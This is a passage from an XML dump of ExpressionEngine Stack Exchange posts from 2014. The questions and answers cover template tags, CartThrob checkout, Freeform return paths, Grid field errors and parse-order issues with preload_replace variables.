Account...&quot;&amp;gt;Yes&amp;lt;/button&amp;gt;&#xA;    {/exp:zoo_visitor:delete_form}&#xA;&#xA;{if:else}&#xA;&#xA;    {redirect='/account/edit/delete'}&#xA;&#xA;{/if}&#xA;&amp;lt;!-- ./Delete --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-08-14T09:30:27.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25099" PostTypeId="2" ParentId="25093" CreationDate="2014-08-14T10:24:03.847" Score="0" Body="&lt;p&gt;There is the 'matching_fields' parameter which allows you to do just that. See the documentation for details: &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2014-08-14T10:24:03.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25100" PostTypeId="2" ParentId="25094" CreationDate="2014-08-14T10:51:34.917" Score="2" Body="&lt;p&gt;If you specify your first option as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option value=&quot;&quot;&amp;gt;Select Option&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i think that should be treated as empty and will not be accepted if the field is required in your form.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2014-08-14T10:51:34.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25101" PostTypeId="2" ParentId="25029" CreationDate="2014-08-14T11:03:45.010" Score="0" Body="&lt;p&gt;I think your problem is that your server path and URL are pointing to different places. The end of these paths should match. Try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Server path of upload directory: /home/&amp;lt;hidden&amp;gt;/public_html/beta/img/news/&#xA;URL of upload directory: /img/news/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Accessing &lt;a href=&quot;http://beta.bowl-of-soup.co.uk/img/news/blank.jpg&quot; rel=&quot;nofollow&quot;&gt;http://beta.bowl-of-soup.co.uk/img/news/blank.jpg&lt;/a&gt; works fine, so I think the problem is just that the image URLs are being output as  at the moment because the URL of the upload directory does not match the true location on the server.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2014-08-14T11:03:45.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25103" PostTypeId="1" CreationDate="2014-08-14T15:27:15.827" Score="0" ViewCount="173" Body="&lt;p&gt;I have a 'projects' channel, that contains a 'Channel Images' field.&#xA;An entry can belong to one of four categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my home page, all I want to display is two of the images from the most recently added project. When you click on either small image it directs to the page of that entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot work out how to display the two images from just the one category. My code below displays one image from one entry belonging to each category. How do i limit it to only display the image (2) from the latest entry (whatever category it belongs to)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;project&quot; style=&quot;linear&quot;}&#xA;{exp:channel:entries channel=&quot;project&quot; category=&quot;{category_id}&quot;  disable=&quot;pagination|member_data&quot; limit=&quot;1&quot;}&#xA;&#xA;&amp;lt;div class=&quot;{switch=&quot;w1|w2&quot;}&quot;&amp;gt;&amp;lt;a href=&quot;projects/{category_url_title}/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;{proj_img}&amp;lt;img src=&quot;{image:url:sml}&quot; alt=&quot;{image:title}&quot; width=&quot;112&quot; height=&quot;112&quot; border=&quot;0&quot; /&amp;gt;{/proj_img}&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is very appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;Kerry's answer below is close to correct, i had to make a slight alteration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;project&quot; disable=&quot;pagination|member_data&quot; limit=&quot;1&quot; parse=&quot;inward&quot;}&#xA;{exp:channel_images:images entry_id=&quot;{entry_id}&quot; field=&quot;proj_img&quot; limit=&quot;2&quot; sort=&quot;asc&quot;}&#xA;  &amp;lt;div class=&quot;{image:switch='w1|w2'}&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;projects/{categories}{category_url_title}{/categories}/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;&#xA;      &amp;lt;img src=&quot;{image:url:sml}&quot; alt=&quot;{image:title}&quot; width=&quot;112&quot; height=&quot;112&quot; border=&quot;0&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:channel_images:images}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2794" LastEditorUserId="2794" LastEditDate="2014-08-18T06:14:09.707" LastActivityDate="2014-08-18T06:14:09.707" Title="Limit displayed image(s) from one entry/category" Tags="|categories|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25104" PostTypeId="1" AcceptedAnswerId="25123" CreationDate="2014-08-14T15:30:02.837" Score="0" ViewCount="160" Body="&lt;p&gt;I'm looking at performance for a few list pages, and finding that low search is being called to find some Store variables within a channel entries tag. For example, getting {product_details:price} in a channel entries tag results in Low_search_ext/custom_field_modify_data being called 2x for each entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So getting 4 Store tags in a channel entries list of 24 products ends up having a bit of overhead (relatively):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(abbreviated from the graph example below)&#xA;    {exp:channel:entries&#xA;        channel=&quot;products&quot;&#xA;        limit=&quot;24&quot;&#xA;    }   &#xA;        {product_details:price}&#xA;        {product_details:regular_price}&#xA;        {product_details:sale_price}&#xA;        {product_details:on_sale}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template debug (called 190+ times):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;begin: (0.145485/13.82MB) - Calling Extension Class/Method: Low_search_ext/custom_field_modify_data&#xA;...&#xA;end: (0.351349/14.96MB) - Calling Extension Class/Method: Low_search_ext/custom_field_modify_data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Graph view (courtesy of EE Debug Toolbar):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PERMM.png&quot; alt=&quot;The long plateau is the search for the Store variables&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using caching so once it's cached it's not a big deal, but am trying to find ways to speed this up for the pre-cached page load.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-08-15T09:26:45.370" Title="Performance with Store variables and Low Search" Tags="|expresso-store|low-search|performance|ee-debug-toolbar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25105" PostTypeId="1" AcceptedAnswerId="25107" CreationDate="2014-08-14T15:31:28.970" Score="1" ViewCount="138" Body="&lt;p&gt;I've just inherited a site from a previous developer that is using CartThrob to power the eCommerce and strip/offline payments for the payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently some customers have not been seeing the success notification template on submitting payment via stripe resulting in double payment submissions. One customer did not see the second payment go through and sent an email saying they would submit payment via check. However all payments are successfully received via stripe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting/template code that I need to work on to fix this issue? Any advice is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2&#xA;CT  Pro 2.5&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-08-14T16:04:55.537" Title="Cartthrob, stripe and double payment" Tags="|cartthrob|ecommerce|stripe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25106" PostTypeId="2" ParentId="24766" CreationDate="2014-08-14T15:38:50.667" Score="0" Body="&lt;p&gt;I've never used NSM Live Look, but the nature of the error seems to indicate the channel's live look template is not set in the configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, the severity of the errors above are mere 'Notices' and should probably be turned off on live production environments. You can disable error output display from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin &amp;rarr; System Administration &amp;rarr; Output &amp;amp; Debugging &amp;rarr; Debug Preference &amp;rarr; &lt;strong&gt;None&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2014-08-14T15:38:50.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25107" PostTypeId="2" ParentId="25105" CreationDate="2014-08-14T16:04:55.537" Score="1" Body="&lt;p&gt;You may want to ensure the return template for order_complete is defined (and also exists). In the example below, the order_complete template should contain the &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/submitted_order_info/index.html&quot; rel=&quot;nofollow&quot;&gt;{exp:cartthrob:submitted_order_info}&lt;/a&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:checkout_form&#xA;        return=&quot;{template_group}/order_complete&quot;&#xA;        required=&quot;first_name|last_name|address|city|zip&quot;&#xA;        gateway=&quot;stripe&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stripe works differently than other CT gateways and some JavaScript implementation for error handling is required - so be sure to watch your console when testing.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2014-08-14T16:04:55.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25108" PostTypeId="2" ParentId="16744" CreationDate="2014-08-14T16:16:45.130" Score="0" Body="&lt;p&gt;My current project requested this, and after trying to build out a custom solution, I came across SCEditor, a jQuery plugin that's worked perfectly. It's lightweight and easy to customize (both the JS and the CSS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link: &lt;a href=&quot;http://www.sceditor.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.sceditor.com/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="673" LastActivityDate="2014-08-14T16:16:45.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25109" PostTypeId="1" AcceptedAnswerId="25130" CreationDate="2014-08-14T17:04:10.190" Score="0" ViewCount="48" Body="&lt;p&gt;Does anyone know of a way to stop EE from injecting spans (with inline styles) into code blocks in comments? I'm fine with the &lt;code&gt;div&lt;/code&gt; wrapping the &lt;code&gt;code&lt;/code&gt; (that's not that big of a deal), but the spans are completely unnecessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example output from EE: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;codeblock&quot;&amp;gt;&#xA;    &amp;lt;code&amp;gt;&#xA;        &amp;lt;span style=&quot;color: #000000&quot;&amp;gt;&#xA;            &amp;lt;span style=&quot;color: #0000BB&quot;&amp;gt;This is code&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/span&amp;gt;&#xA;    &amp;lt;/code&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit to update: I've worked around this problem by using the following CSS to override the inline styles, so really this is just a matter of &quot;I don't want junk in my markup&quot; over broken functionality. (Also, a matter of pride, because &lt;code&gt;!important&lt;/code&gt; is !embarassing.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.codeblock code, .codeblock span {&#xA;    color: #ddd !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="673" LastEditorUserId="673" LastEditDate="2014-08-14T18:20:42.487" LastActivityDate="2014-08-15T16:20:27.587" Title="Styled `span` elements injected into comment output" Tags="|comments|formatting|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25110" PostTypeId="2" ParentId="25050" CreationDate="2014-08-14T17:11:48.927" Score="0" Body="&lt;p&gt;The problem here has nothing to do with Expression Engine, but rather is an issue related to hosting multiple sites on a single account running Plesk. The solution requires some SSH into the server as noted here: &lt;a href=&quot;http://www.serveridol.com/2011/03/16/disabling-email-service-for-a-domain-in-plesk/&quot; rel=&quot;nofollow&quot;&gt;http://www.serveridol.com/2011/03/16/disabling-email-service-for-a-domain-in-plesk/&lt;/a&gt;. Following those instructions resolved the problem.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-08-14T17:11:48.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25111" PostTypeId="1" CreationDate="2014-08-14T18:30:58.853" Score="0" ViewCount="434" Body="&lt;p&gt;I've been using Low's technique of combining snippets and preload variables (&lt;a href=&quot;http://gotolow.com/blog/snippets-and-preload-replace-variables&quot; rel=&quot;nofollow&quot;&gt;as described here&lt;/a&gt;) in order to be able to use a particular snippet repeatedly (and DRYly). The snippet contains conditionals and preload_replace variables form part of the criteria for those conditionals, so the criteria can change depending upon the template in which the snippet is used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up until the point that I upgraded to 2.9.0 it worked just fine, because the Conditionals were advanced and so parsed long after the preload replacement had taken place. Now, under 2.9.0's new conditional parsing regime, it would appear that the conditionals are firing before the preload replacement has taken place, and the template throws an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a method of forcing the preload replacement to take place before the conditional are parsed, like in the old days? I'm trying to avoid using an embed if possible, but accept that there might be no other way. Still, I'd be interested to see if anyone has an alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; In response to the requests in the first couple of replies, here is some code. It's not the entire template, just the relevant channel entries loop and the problem snippet. (The rest of the template is pretty mundane).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CE loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot;}&#xA;    {!-- ...some other fields... --}&#xA;    {preload_replace:pre_gridfield=&quot;name_of_grid_field&quot;}&#xA;    {snp_gridfield_output}&#xA;    {!-- ...some more fields... --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Snippet snp_gridfield_output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{{pre_gridfield}}&#xA;    {exp:typogrify:widont}{{pre_gridfield}:text}{/exp:typogrify:widont}&#xA;    {if {pre_gridfield}:image}&#xA;        {if {pre_gridfield}:caption != &quot;&quot; || {pre_gridfield}:credit != &quot;&quot;}&#xA;            &amp;lt;figure&amp;gt;&#xA;                &amp;lt;img src=&quot;{if {ress} &amp;lt; 480}{{pre_gridfield}:image:mobilesize}{if:else}{{pre_gridfield}:image}{/if}&quot; alt=&quot;{{pre_gridfield}:alt}&quot; title=&quot;{{pre_gridfield}:caption}&quot;&amp;gt;&#xA;                &amp;lt;figcaption&amp;gt;{{pre_gridfield}:caption}&amp;lt;span&amp;gt;{if {pre_gridfield}:credit != &quot;&quot; &amp;amp;&amp;amp; {pre_gridfield}:caption != &quot;&quot;}&amp;amp;emsp;/&amp;amp;emsp;{/if}{if {pre_gridfield}:credit}&amp;amp;copy;&amp;amp;nbsp;{{pre_gridfield}:credit}{/if}&amp;lt;/span&amp;gt;&amp;lt;/figcaption&amp;gt;&#xA;            &amp;lt;/figure&amp;gt;&#xA;        {if:else}&#xA;            &amp;lt;img src=&quot;{if {ress} &amp;lt; 480}{{pre_gridfield}:image:mobilesize}{if:else}{{pre_gridfield}:image}{/if}&quot; alt=&quot;{{pre_gridfield}:alt}&quot; title=&quot;{{pre_gridfield}:caption}&quot;&amp;gt;&#xA;        {/if}&#xA;    {/if}&#xA;{/{pre_gridfield}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The various Grid fields that this snippet might reference all have the following columns: text|image|alt (for image alt text)|caption|credit. What's going on in this snippet's code is that once the preload replacement has correctly set the name of appropriate Grid field, the Grid loop will first place the text, then look to see if there is an image. If there &lt;em&gt;is&lt;/em&gt; then it checks to see whether the image has a caption and/or a credit. If it does, then a &amp;lt;figure&amp;gt; element is used (with &amp;lt;img&amp;gt; and &amp;lt;figcaption&amp;gt; elements inside), otherwise the &amp;lt;img&amp;gt; element is used on its own. There is also some degree of content negotiation based upon the screen size (the {ress} tag) which can be seen in the img element's src attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The preload replace is definitely the problem; if I do the replacement manually inside the snippet (ie. search-and-replace '{pre_gridfield}' with 'name_of_grid_field') and do away with the preload_replace tag entirely, the problem disappears. But so does my flexibility for reusing the snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2014-08-15T09:16:35.513" LastActivityDate="2020-04-11T22:00:40.243" Title="Forcing Preload-Replace variables to parse before conditionals in 2.9.0" Tags="|conditionals|parse-order|2.9|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25112" PostTypeId="2" ParentId="14453" CreationDate="2014-08-14T19:11:15.287" Score="0" Body="&lt;p&gt;Sounds like this question is resolved for you, but I thought I'd note my experience with this as help to others in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NOTE: this &lt;strong&gt;only&lt;/strong&gt; happens if you are in a member group that is &lt;strong&gt;NOT&lt;/strong&gt; the super admin group.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When you don't have the open/closed options for the &quot;status&quot; field there can be a few problems&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The channel has to have a status assigned to it (as Jeremy mentioned):&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to Admin&gt;Channel Administration&gt;Channels, click on each channel's &quot;Edit Group Assignments&quot; link, and under the dropdown for &quot;Status Groups&quot; choose &quot;Statuses&quot; (or whatever you want.)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VEsSk.png&quot; alt=&quot;status group field&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;The User must have permissions to that status (as noted in comment here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5622/custom-members-channel-entries-defaulting-to-closed-status&quot;&gt;Custom Member&amp;#39;s Channel Entries Defaulting To &amp;quot;Closed&amp;quot; Status&lt;/a&gt;)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CP -&gt; Admin -&gt; Channel Administration -&gt; Statuses -&gt; [Status Group] -&gt; [Status] --make sure the user group in question has permission to view the status.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jh3ae.png&quot; alt=&quot;Permissions for the status&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;For some weird reason neither of these worked for me in one case, where the status group wasn't getting saved to the DB, and I had to manually go into the database to set the status group for each channel. NOTE: don't try this if you're not comfortable in the DB.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I went into the exp_channels table, located the status_group column. It said NULL even though I had done step #1 as mentioned above.&lt;/li&gt;&#xA;&lt;li&gt;I edited each channel so the status_group field = 1&lt;/li&gt;&#xA;&lt;li&gt;check to make sure you use the right status group id in the status_group column. You can check this in the exp_statuses table, see the group_id column.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PGKyQ.png&quot; alt=&quot;database&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3482" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-08-14T19:11:15.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25113" PostTypeId="1" AcceptedAnswerId="25250" CreationDate="2014-08-14T19:37:43.627" Score="1" ViewCount="217" Body="&lt;p&gt;I created a channel form for submitting events &lt;a href=&quot;http://mobilearts.org/calendar/submit-event&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. It shows fine in Safari and Chrome but does not appear in Firefox. I confirmed that the channel permissions are set to allow Guest Publishers, so that is not blocking it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the Date selection popup is not working. I added the following required stylesheet link to the template, but it does not make a difference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would appreciate another set of eyes to help spot what I may have overlooked. Several other channel forms are working correctly on the site.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2014-08-14T20:14:06.503" LastActivityDate="2015-10-08T18:04:55.347" Title="Solspace Calendar &amp; Channel Form not showing in Firefox and Date popup not working" Tags="|safecracker|solspace-calendar|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25114" PostTypeId="1" AcceptedAnswerId="25116" CreationDate="2014-08-14T19:58:54.377" Score="0" ViewCount="59" Body="&lt;p&gt;A client of mine is wanting to enable Ecommerce at some point but in the interim for at least the next 12 months they would like a request a quote feature. I was thinking that it would make the most sense to use something like CartThrob, Brilliant Retail or Espresso in which customers can add products to their basket (probably will rename it to get a quote) for which they can then submit to our client's sales team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However instead of going through a typical payment gateway process we just send the sales team an email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate you looking at this,&#xA;Adeeb&lt;/p&gt;&#xA;" OwnerUserId="3484" LastActivityDate="2015-01-14T01:46:39.450" Title="CartThrob - Quote instead of payment" Tags="|expresso-store|cartthrob|ecommerce|brilliantretail|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25115" PostTypeId="2" ParentId="25063" CreationDate="2014-08-14T20:50:40.060" Score="0" Body="&lt;p&gt;I've used Membrr with PayPal in the past and had zero issues. I was really impressed with the functionality &amp;amp; flexibility. It's true that it's now abandon-ware, but the main issue with that as far as I can see is if EE changes in a way to make it stop working. I have also used aMember which worked, but is less integrated with EE than Membrr is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish Ellislab would take over Membrr and just build it into EE, just sell it as an extra like the forum. Paid memberships is such an important feature to so many applications these days, especially serving media (sound and video). EE with its customisable fields  really lends it's self to that kind of application. I built a paid video podcast site a few years ago with EE and aMember and it worked really great! Even having EE serve content directly to iTunes.&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2014-08-14T20:50:40.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25116" PostTypeId="2" ParentId="25114" CreationDate="2014-08-14T21:46:24.063" Score="0" Body="&lt;p&gt;You can do that with CartThrob. It has a single-page check out feature that gives you the flexibility to completely abandon the 'Cart' metaphor... Then you could combine that with Off-line payment to skip the need for a payment processor. &lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2014-08-14T21:46:24.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25117" PostTypeId="1" AcceptedAnswerId="25126" CreationDate="2014-08-14T21:58:37.127" Score="0" ViewCount="304" Body="&lt;p&gt;I have an English site that uses Structure and Transcribe. The 2 language translations, French and German, are about to go live except for one little issue. On one page I have a contact form using Freeform Pro that also contains the 'Thank you' text that is shown once the form has been submitted, using a Freebie tag. It has been working fine for the English (default) version of the site. The form goes from www.mysite.com/contact-us to www.mysite.com/contact-us/thanks once the form is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I've used. is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                {if freebie_last == &quot;thanks&quot;}&#xA;                    &amp;lt;p&amp;gt;{contact_thanks}&amp;lt;/p&amp;gt;&#xA;                {if:else}&#xA;                    {contact_info}&#xA;&#xA;                    {exp:freeform:form&#xA;                        form_id=&quot;1&quot;&#xA;                        required=&quot;name|email|country|area_of_interest|user_enquiry&quot;&#xA;                        return=&quot;{segment_1}/thanks&quot;&#xA;                        inline_errors=&quot;yes&quot;&#xA;                        form:class=&quot;well&quot;&#xA;                    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I can't work out how to get the translations to show the correct 'Thank you' page. When I'm on www.mysite.com/de/kontakt and hit Submit I am taken to the 404 page because it's trying to direct to www.mysite.com/kontakt/thanks. It should be www.mysite.com/de/kontakt/thanks - it's not including the 'de' segment of the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried several variations of the return path but none seem to direct me to www.mysite.com/de/kontakt/thanks. The language segment is always being removed, but I need to keep the return=&quot;{segment_1}/thanks for the English version of the site to work. I was thinking an {if} statement would be needed but nothing seems to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                        {if '{transcribe:language_abbreviation}' == 'de'}&#xA;                        return=&quot;{freebie_1}/{freebie_2}/thanks&quot;&#xA;                        {if:else}&#xA;                        return=&quot;{segment_1}/thanks&quot;&#xA;                        {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                        {if '{transcribe:language_abbreviation}' == 'de'}&#xA;                        return=&quot;{segment_1}/{segment_2}/thanks&quot;&#xA;                        {if:else}&#xA;                        return=&quot;{segment_1}/thanks&quot;&#xA;                        {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does {if:else} not work here? If not, what does? Or am I going about this in totally the wrong way by using Freebie (I'm a bit unsure how it works). I've tried adding fr|de to the breaking segments to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. Thanks&lt;/p&gt;&#xA;" OwnerUserId="285" LastActivityDate="2014-08-15T10:51:40.150" Title="Freeform, Structure, Transcribe and Freebie - how to return to correct language on contact form" Tags="|solspace-freeform|solspace|structure|transcribe|freebie|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25118" PostTypeId="1" CreationDate="2014-08-15T00:28:01.963" Score="1" ViewCount="581" Body="&lt;p&gt;Getting this error when attempting to use the Grid field: You are not authorized to perform this action&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I switch to another field type, error goes away... &lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2014-08-27T23:11:50.197" Title="Error when using Grid field: You are not authorized to perform this action" Tags="|error|grid|bug|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25119" PostTypeId="1" AcceptedAnswerId="25121" CreationDate="2014-08-15T07:33:42.113" Score="0" ViewCount="39" Body="&lt;p&gt;Does anyone know whether CartThrob supports additional languages from a front-end perspective? It would be great to know whether it is possible to localise all product and checkout content within the same add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Adeeb&lt;/p&gt;&#xA;" OwnerUserId="3484" LastActivityDate="2014-09-14T08:35:06.257" Title="CartThrob - Multiple Languages" Tags="|cartthrob|ecommerce|localization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25120" PostTypeId="2" ParentId="25117" CreationDate="2014-08-15T07:43:27.210" Score="1" Body="&lt;p&gt;An &lt;code&gt;{if:else}&lt;/code&gt; conditional won't work here (or with any other tag to try to change a parameter)  because it's parsed &lt;em&gt;after&lt;/em&gt; &lt;code&gt;{exp:...}&lt;/code&gt; tags. This is often called an &lt;strong&gt;advanced conditional&lt;/strong&gt;. You can see this by &lt;strong&gt;turning on Template Debugging&lt;/strong&gt;: the parameters should look unparsed or partially parsed for the tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have experience with Transcribe, Structure and Freebie, but if de/fr/en are considered URL segments (i.e. {segment_1} is de, fr, or en, for example), then you could use &lt;strong&gt;simple conditionals&lt;/strong&gt;, which parse before &lt;code&gt;{exp:...}&lt;/code&gt; tags, to control parameters. Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return=&quot;{if segment_1 == &quot;de&quot;}/de/kontakt/thanks{/if}{if segment_1 == &quot;fr&quot;}/de/contact/thanks{/if}{if segment_1 == &quot;en&quot;}/contact/thanks{/if}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: &lt;code&gt;{if:else}&lt;/code&gt; and conditionals containing &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;, &lt;code&gt;||&lt;/code&gt;, &lt;code&gt;AND&lt;/code&gt;, &lt;code&gt;OR&lt;/code&gt; are considered &lt;strong&gt;advanced 